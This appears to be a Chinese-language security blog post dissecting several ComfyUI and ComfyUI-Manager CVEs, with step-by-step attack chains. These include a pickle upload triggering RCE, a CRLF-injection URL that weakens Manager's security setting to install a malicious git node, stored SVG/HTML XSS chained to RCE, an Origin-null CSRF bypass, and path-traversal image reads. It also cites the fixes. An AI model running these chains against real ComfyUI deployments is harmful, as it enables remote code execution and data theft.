Attack of ComfyUI

刚听了Founder of ComfyUI 的线上talk,对这个经常爆洞的 Stable Diffusion 网红产品又起了兴趣🤔

cover

这是一个很有意思的 Json to Workflow 编排工具,尽管当前 not Agent-friendly enough,产品已在尝试用 MCP 去解决这个问题:https://blog.comfy.org/p/comfy-mcp-turn-your-agent-into-a

“Everything is now in natural language. No nodes, no download, no GPU, no node graphs if you don’t want them.”
image1

但什么时候Workflow会消失呢?也许当模型端到端原生生图/视频能力强到:能可靠地保持一致性、支持批量控制、可以精确指定风格参数——将”控制点”吸收进模型能力本身。haha,模型最终会吃掉大部分harness。

概览表

CVE 类型 发布时间 影响版本范围 主要影响
CVE-2026-68771 LoadTrainingDataset pickle 反序列化 RCE 2026-07-30 0 ~ 0.23.0(前提:PyTorch < 2.6) 以 ComfyUI 进程权限执行任意命令
CVE-2026-6593 / CVE-2026-56670 /view 端点 SVG 存储型 XSS 2026-04-18(VulDB)/ 2026-07-31(GHSA) < 0.28.0 同源脚本执行,链式提权到 RCE(需诱导打开 /view)
CVE-2026-6590 / CVE-2026-56671 /experiment/models/preview 路径穿越任意图片读 2026-04-18(VulDB)/ 2026-07-31(GHSA) < 0.28.0 读取任意图像可解码文件、路径枚举
CVE-2026-6592 / CVE-2026-56672 /userdata 端点存储型 XSS 2026-04-18(VulDB)/ 2026-07-31(GHSA) < 0.28.0 同源脚本执行、窃取浏览器 API token,链式 RCE(需诱导打开 URL)
CVE-2026-6591 / CVE-2026-56673 LoadImage 族路径穿越任意图片读 2026-04-18(VulDB)/ 2026-07-31(GHSA) < 0.28.0 任意路径探测 + 图片文件外带
CVE-2026-6589 Origin 中间件 CSRF 绕过 2026-04-18 < 0.19.0 CSRF -> 上传恶意 pickle + 触发 /prompt -> RCE(需受害者浏览器访问攻击页)
CVE-2026-22777 ComfyUI-Manager CRLF 注入 -> config.ini 配置篡改 2026-01-09 < 3.39.2 / < 4.0.5 注入 security_level=weak -> git_url 装恶意节点 -> RCE

RCE

两条独立的 RCE 入口:内核 LoadTrainingDataset 的 pickle 反序列化(CVE-2026-68771,CVSS 9.8),以及 ComfyUI-Manager 的 CRLF 注入 -> 配置篡改 -> 恶意节点安装(CVE-2026-22777,CVSS 7.5)。

CVE-2026-68771(LoadTrainingDataset pickle 反序列化 RCE)

ComfyUI 中最严重的一个:未认证 pickle 反序列化 RCE,CVSS 9.8(V3.1)/ 9.3(V4,Critical),CWE-502。

原理

comfy_extras/nodes_dataset.py 的 LoadTrainingDataset.execute() 用 torch.load(f) 反序列化数据集 shard 文件——这是整个仓库唯一没有传 weights_only=True 的 torch.load 调用点(其余调用点 comfy/utils.py:155、comfy/sd1_clip.py:455 都带了)。

PyTorch < 2.6 的 torch.load 默认 weights_only=False,会完整走 pickle 反序列化,攻击者用 __reduce__ 即可在反序列化时执行任意 Python 代码。torch >= 2.6 默认 weights_only=True,因此漏洞成立的前提是旧版 PyTorch(本地用 TORCH_FORCE_NO_WEIGHTS_ONLY_LOAD=1 模拟)。

注意 ComfyUI 的 requirements.txt 并不锁 torch 版本,默认安装会拿到 >= 2.6 的 torch,实际中招的是把 torch 锁在 < 2.6 的环境(老镜像、整合包,或显式设置该环境变量)。

攻击链

  1. POST /upload/image(type=output + subfolder=training_dataset_* + 文件名 shard_0000.pkl)——恶意 pickle 原样落入 output/training_dataset_*/shard_0000.pkl,服务端完全不校验内容;
  2. POST /prompt 提交包含 LoadTrainingDataset(folder_name=…) 的工作流——torch.load(f) 反序列化,reduce 执行系统命令;

image2
上传的 shard_0000.pkl,pickle 载荷里是 __import__(‘os’).system(‘open -a Calculator’)

image3
POST /prompt 触发 LoadTrainingDataset,prompt_id 返回 200,Calculator 进程弹出

官方FIXPR #14543(commit 94ee49b)——给 LoadTrainingDataset 的 torch.load 补上 weights_only=True,与仓库内其他调用点对齐。披露方:VulnCheck(credit:Bofei Chen),公开 PoC 已存在(0xdak/CVE-2026-68771_exploit)。

image4
commit 94ee49b(PR #14543):torch.load 补上 weights_only=True,与仓库内其他调用点对齐

CVE-2026-22777(ComfyUI-Manager CRLF 注入 -> RCE)

ComfyUI-Manager 是官方生态里装机量最大的扩展(不是内核自带,但官方文档推荐安装,一键包/云镜像基本默认带),它给 ComfyUI 加了一堆默认无认证的管理路由(/manager/*、/customnode/*),攻击面比内核还大。

背景:CVE-2025-67303(腾讯玄武实验室 2026-01 披露,修复 v3.38,GHSA-95pq-hr8p-f5g7):Manager 把配置和关键数据放在 web 可访问的位置(CWE-420 未受保护替代通道),任意文件上传可篡改配置/覆盖数据,进而 RCE。修复方式是把数据迁移到 web 根之外(v3.38-userdata-security-migration)。

Manager 的配置处理存在 CRLF 注入(CVSS 7.5,GHSA-562r-8445-54r2,credit:李存义 / D0n9 Li / Swings / Osword,奇安信 SGLAB)。

CRLF 注入为什么存在

GET /manager/db_mode 会把 value 参数原样存进 get_config()[‘db_mode’],随后 write_config() 用 ConfigParser 把它写进 user/__manager/config.ini。value 里的 CRLF(%0d%0a)没有被消毒,ConfigParser 会把换行后面的内容当成新的配置键值对——于是攻击者可以在不改代码的情况下覆盖任意配置项:

1
GET /manager/db_mode?value=zzz%0dsecurity_level%20%3d%20weak

写进 config.ini 的效果:

1
2
db_mode = zzz
security_level = weak

利用链

  1. 注入:GET /manager/db_mode?value=zzz%0dsecurity_level%20%3d%20weak -> 200,config.ini 多出 security_level = weak;
  2. 重启:GET /manager/reboot 让配置生效;
  3. 装恶意节点:POST /customnode/install/git_url(body:git://127.0.0.1:9418/evilnode.git)。弱化前 Manager 返回 403 {“error”: “security_level”},弱化后返回 200——Manager 拉起 git clone + install.py,恶意自定义节点的安装脚本直接执行,RCE。

image22
弱化前:POST /customnode/install/git_url -> 403 {“error”: “security_level”}

image23
CRLF 注入:GET /manager/db_mode?value=zzz%0dsecurity_level%20%3d%20weak -> 200

image24
GET /manager/reboot 重启 Manager 使配置生效

image25
弱化后:同样的 POST /customnode/install/git_url -> 200,恶意节点安装脚本执行 -> RCE。Manager 的安装逻辑是:把 git_url clone 进 custom_nodes/ 后,仓库根目录存在 install.py 就用 Manager 自身 Python(sys.executable)执行它,所以克隆内容本身就是 RCE 载荷

官方FIX3.39.2 / 4.0.5(commit f4fa394),对写入 config.ini 的输入做 CRLF 消毒。

image26
commit f4fa394(3.39.2):write_config 对所有字符串值做 CRLF 消毒(Sanitize config string values to prevent CRLF injection attacks)

Loopback Bind攻击面:XSS/CSRF -> RCE 链

下列 RCE 以 pickle 为例(CRLF 那条也可以打)

单个 XSS 或 CSRF 在 CVSS 上都不高,但 ComfyUI 的攻击面是「XSS/CSRF 只是入口,pickle RCE 是终点」。因为 ComfyUI 默认无认证,攻击者拿到一个同源执行点(XSS)或任意请求通道(CSRF)后,剩下的两步都是未认证的普通 API 调用:

链 A(存储型 XSS -> RCE,v0.23.0 实测)

1
2
3
4
5
上传恶意 SVG/HTML(6593/56670、6592/56672 任一入口)
-> 受害者打开 /view?filename=...svg 或 /userdata/...html
-> 同源执行:fetch('/upload/image', multipart) 上传恶意 shard_*.pkl
-> fetch('/prompt') 触发 LoadTrainingDataset
-> open -a Calculator 弹出

XSS 的价值在于绕过 CSRF 防线:v0.23.0 上远程跨站请求被 Sec-Fetch-Site: cross-site 挡死,而存储型 XSS 是同源执行——同源请求没有 CORS 预检,Origin/Sec-Fetch-Site 都是 same-origin,服务端无从区分,直接放行。代价是需要受害者打开一次恶意文件 URL(UI:R),所以 GHSA 只评 8.2 分——但 ComfyUI 用户浏览自己生成的图片是常态,实际就是 1 Click RCE。

链 B(CSRF -> RCE)

1
2
3
data: 页 / sandbox iframe(Origin: null)
-> POST /upload/image + POST /prompt 到 127.0.0.1 ComfyUI
-> pickle 反序列化 RCE

浏览器路径成不成立取决于浏览器层的 PNA,不是所有浏览器都打得通:

  • Firefox(未实现 PNA)实测打通:< 0.19.0 上 data: 页 / sandbox iframe(Origin: null)直连 127.0.0.1:8188,probe / upload / prompt 全部送达 -> RCE ;
  • Chrome 130+ 打不通:PNA 把「public 地址空间页面 -> 127.0.0.1」的请求拦在浏览器层(TypeError: Failed to fetch,服务端零请求;被拦的是子资源请求 fetch/XHR,导航类请求豁免),data: 页和公网页都不行。

XSS

ComfyUI 的 XSS 全是存储型:/view 与 /userdata 两个端点把用户上传/写入的内容按危险 MIME 内联返回,脚本在 ComfyUI 源执行,同源请求直接绕过 CSRF 防线。2026-04 VulDB 先披露(6593/6592,按「低权限」评 3.5 分),2026-07 官方 GHSA 收编为 56670/56672,按「未认证」重评 8.2 分——同一批根因,官方在 v0.28.0(PR #14734)统一把危险 MIME 强制为下载。

CVE-2026-6593 / CVE-2026-56670(/view 端点 SVG 存储型 XSS)

/view 端点把上传的 image/svg+xml 以内联方式返回。攻击者上传带 onload 事件和 script 标签的 SVG,受害者打开 GET /view?filename=xxx.svg&type=input 时脚本在 ComfyUI 源执行。VulDB 按 PR:L + UI:R 只给了 3.5 分,但配合 pickle 上传就是 1 Click RCE(链 A,见「XSS/CSRF -> RCE 链」一节)。

image12
POST /upload/image 上传 poc_6593_rce2.svg

image13
浏览器打开 /view?filename=poc_6593_rce2.svg&type=input,XSS 同源执行 -> 上传恶意 pickle + 触发 /prompt -> RCE

官方收编版:CVE-2026-56670(GHSA-rj8c-c4p8-3c5h,CVSS 8.2):危险 Content-Type 黑名单里没有 SVG 及相关 XML 类型,存储型 XSS;修复除了把危险 MIME 强制为下载,后续 v0.29.1 又加了一层 Sec-Fetch-Dest 检查(PR #15164)。

CVE-2026-6592 / CVE-2026-56672(/userdata 存储型 XSS)

app/user_manager.py 的 getuserdata:POST /userdata/{file} 把任意请求体存进用户的 userdata 目录(不做内容检查),GET 时用 web.FileResponse(path) 按扩展名回 Content-Type——.html -> text/html、.svg -> image/svg+xml。/view 早已有危险 MIME 强制下载的保护,但这层保护从没应用到 /userdata。官方收编版:CVE-2026-56672(GHSA-53g8-45wq-pcv8,CVSS 8.2)。XSS 同源执行后可访问浏览器存储的 API token、设置、工作流,并发出等价认证请求。

image16
POST /userdata/poc_56672_rce.html 写入恶意 HTML

image17
浏览器打开 /userdata/poc_56672_rce.html,stored XSS (56672) -> pickle RCE,链 A 走通

官方FIXPR #14734(v0.28.0)同一提交把 56670 与 56672 一起修掉:/view 与 /userdata 统一走危险 MIME 强制下载(is_dangerous_content_type 集中判定),与 56671/56673 路径穿越同批修复。

image27
PR #14734:routes.py 把旧的 _DANGEROUS_MIME_TYPES 集合换成集中式 folder_paths.is_dangerous_content_type(旧集合漏了 image/svg+xml 及 charset/大小写/+xml 方言绕过),危险类型统一强制 attachment 下载

CSRF

ComfyUI 唯一的 CSRF 防线是 server.py 的 create_origin_only_middleware,只有一层 Origin host:port 比对,用 Origin: null(data: 页 / sandbox iframe)即可干净绕过。官方没有给它独立 GHSA:v0.19.0 起中间件对所有带 Sec-Fetch-Site: cross-site 的请求直接 403(浏览器跨站请求必带该头且无法伪造,Origin: null 的 data: 页 / sandbox iframe 也一样),服务端绕过被封死(Firefox 实测同样带 Sec-Fetch-Site: cross-site,也被 403);Firefox 未实现 PNA 是 < 0.19.0 上它能打、Chrome 打不了的原因。

CVE-2026-6589

server.py 的 create_origin_only_middleware 是 ComfyUI 唯一的 CSRF 防线,在 < 0.19.0 上可以干净地绕过。它只比对 Origin 的 host:port 与请求 Host:

请求形态 < 0.19.0 结果
跨站页 Origin: https://evil.com 403(中间件正常拦截)
Origin: null(data: 页 / sandbox iframe) 200 放行

image5
Burp 里 POST /prompt(X-Poc-Tag: cve-6589)——无 Origin / Origin: null 均返回 200

攻击面分析(实测结论)

攻击面本质是「受害者浏览器访问的攻击页 -> 受害者本机 loopback -> ComfyUI」。攻击页放局域网还是公网只影响受害者能不能访问到它、以及浏览器层的 PNA(Private Network Access)会不会拦:

攻击页位置 目标 ComfyUI 实测结果
局域网 192.168.1.9:9999 127.0.0.1:8188(v0.19.0+) 403(Sec-Fetch-Site: cross-site,浏览器发出的跨站请求必带且无法伪造)
本机其他端口 127.0.0.1:9999 127.0.0.1:8188(v0.19.0+) 403(Origin 端口比对:9999 != 8188)
sandbox iframe / data: URL(Origin: null) 127.0.0.1:8188(< 0.19.0) 200 + 200 -> RCE

几个关键点:

  • 服务端防线随版本变强:< 0.19.0 只有 Origin host:port 比对,Origin: null(data: 页 / sandbox iframe)干净绕过;v0.19.0 起对所有 Sec-Fetch-Site: cross-site 请求直接 403(浏览器跨站请求必带且无法伪造),远程攻击页被挡死;
  • 浏览器层 PNA 是新关卡:Chrome 130+ 默认拦 public 页面(含 data: 页 / sandbox iframe)到 127.0.0.1 的子资源请求(fetch/XHR,TypeError: Failed to fetch,服务端零请求;导航类请求豁免);Firefox 未实现 PNA,所以 < 0.19.0 上 data: 页仍能打。

image7
Firefox 打开攻击页,沙箱 iframe(Origin: null)直连 127.0.0.1:8188(< 0.19.0,无代理):自动发起 upload pickle + /prompt,两条 200,Calculator 弹出

这个 CVE 的价值:CSRF 本身只有 4.3 分,但它提供了「任意页面 -> 本机 ComfyUI 任意请求」的通道,配合 pickle 上传即可形成 CSRF -> RCE 链(见「XSS/CSRF -> RCE 链」的链 B)。

官方FIX:无独立 GHSA。官方在后续版本强化了中间件(v0.19.0 起对所有 Sec-Fetch-Site: cross-site 请求 403),Origin: null 的浏览器路径在服务端也被封死(Firefox 实测同样带 cross-site);Firefox 未实现 PNA 只在 < 0.19.0 上让它区别于 Chrome。

image8
commit 76b75f3(#13261):origin 中间件新增 Sec-Fetch-Site: cross-site -> 403 校验;commit 说明也点名了 PNA(「给 Firefox 实现 PNA 留时间」)

图片读取

两族「路径拼接无包含校验」的任意图片读:Model Preview 端点(6590/56671)与 LoadImage 族(6591/56673)。VulDB 按「低权限」评 3.5 ~ 4.3,官方收编为 GHSA(CVSS 7.5)后按「未认证」口径重评,v0.28.0(PR #14734)统一恢复目录包含校验。

CVE-2026-6590 / CVE-2026-56671(Model Preview 端点路径穿越)

get_model_preview(app/model_manager.py)用 os.path.join(folder, filename) 拼接路径,其中 filename 是 {filename:.*} 无限制路由捕获:字面 ../、编码穿越 %2e%2e%2f、绝对路径、无界 path_index 都能逃逸模型目录。目标文件会被 Pillow 重新编码为 WEBP 返回,所以泄露面是「图像可解码文件 + 文件存在性/路径枚举」,而不是任意文件读取。

image18
GET /experiment/models/preview/checkpoints/0/../../../../…/victim-hacker.png -> 200,Content-Type: image/webp(Pillow 重编码,56KB)

VulDB 先披露(CVE-2026-6590,358225),官方收编为 CVE-2026-56671(GHSA-pj59-g5vv-74q4,CVSS 7.5)。

CVE-2026-6591 / CVE-2026-56673(LoadImage 族路径穿越)

folder_paths.py 的 folder_paths.get_annotated_filepath 直接 os.path.join(base_dir, name) 拼接用户可控的 image 参数,不校验 ../。构造 POST /prompt 工作流让 LoadImage 加载 ../../../../…/绝对路径图片,再经 SaveImage 把结果写到 output 目录,最后 GET /view 外带。

image9

image10
GET /view?filename=traversal_exfil_00003_.png&type=output 成功外带 211278 字节

image11
被外带的受害者图片原件(victim-hacker.png),外带结果与原件像素一致

官方FIXPR #14734(v0.28.0,release notes)一次修 4 个:/view 与 /userdata 统一走危险 MIME 强制下载、get_model_preview 加目录包含校验、LoadImage 族恢复输入目录校验。

image21
PR #14734:folder_paths.py 在 get_annotated_filepath 补上路径包含校验(56673),同时在此集中定义 is_dangerous_content_type 供 /view 与 /userdata 共用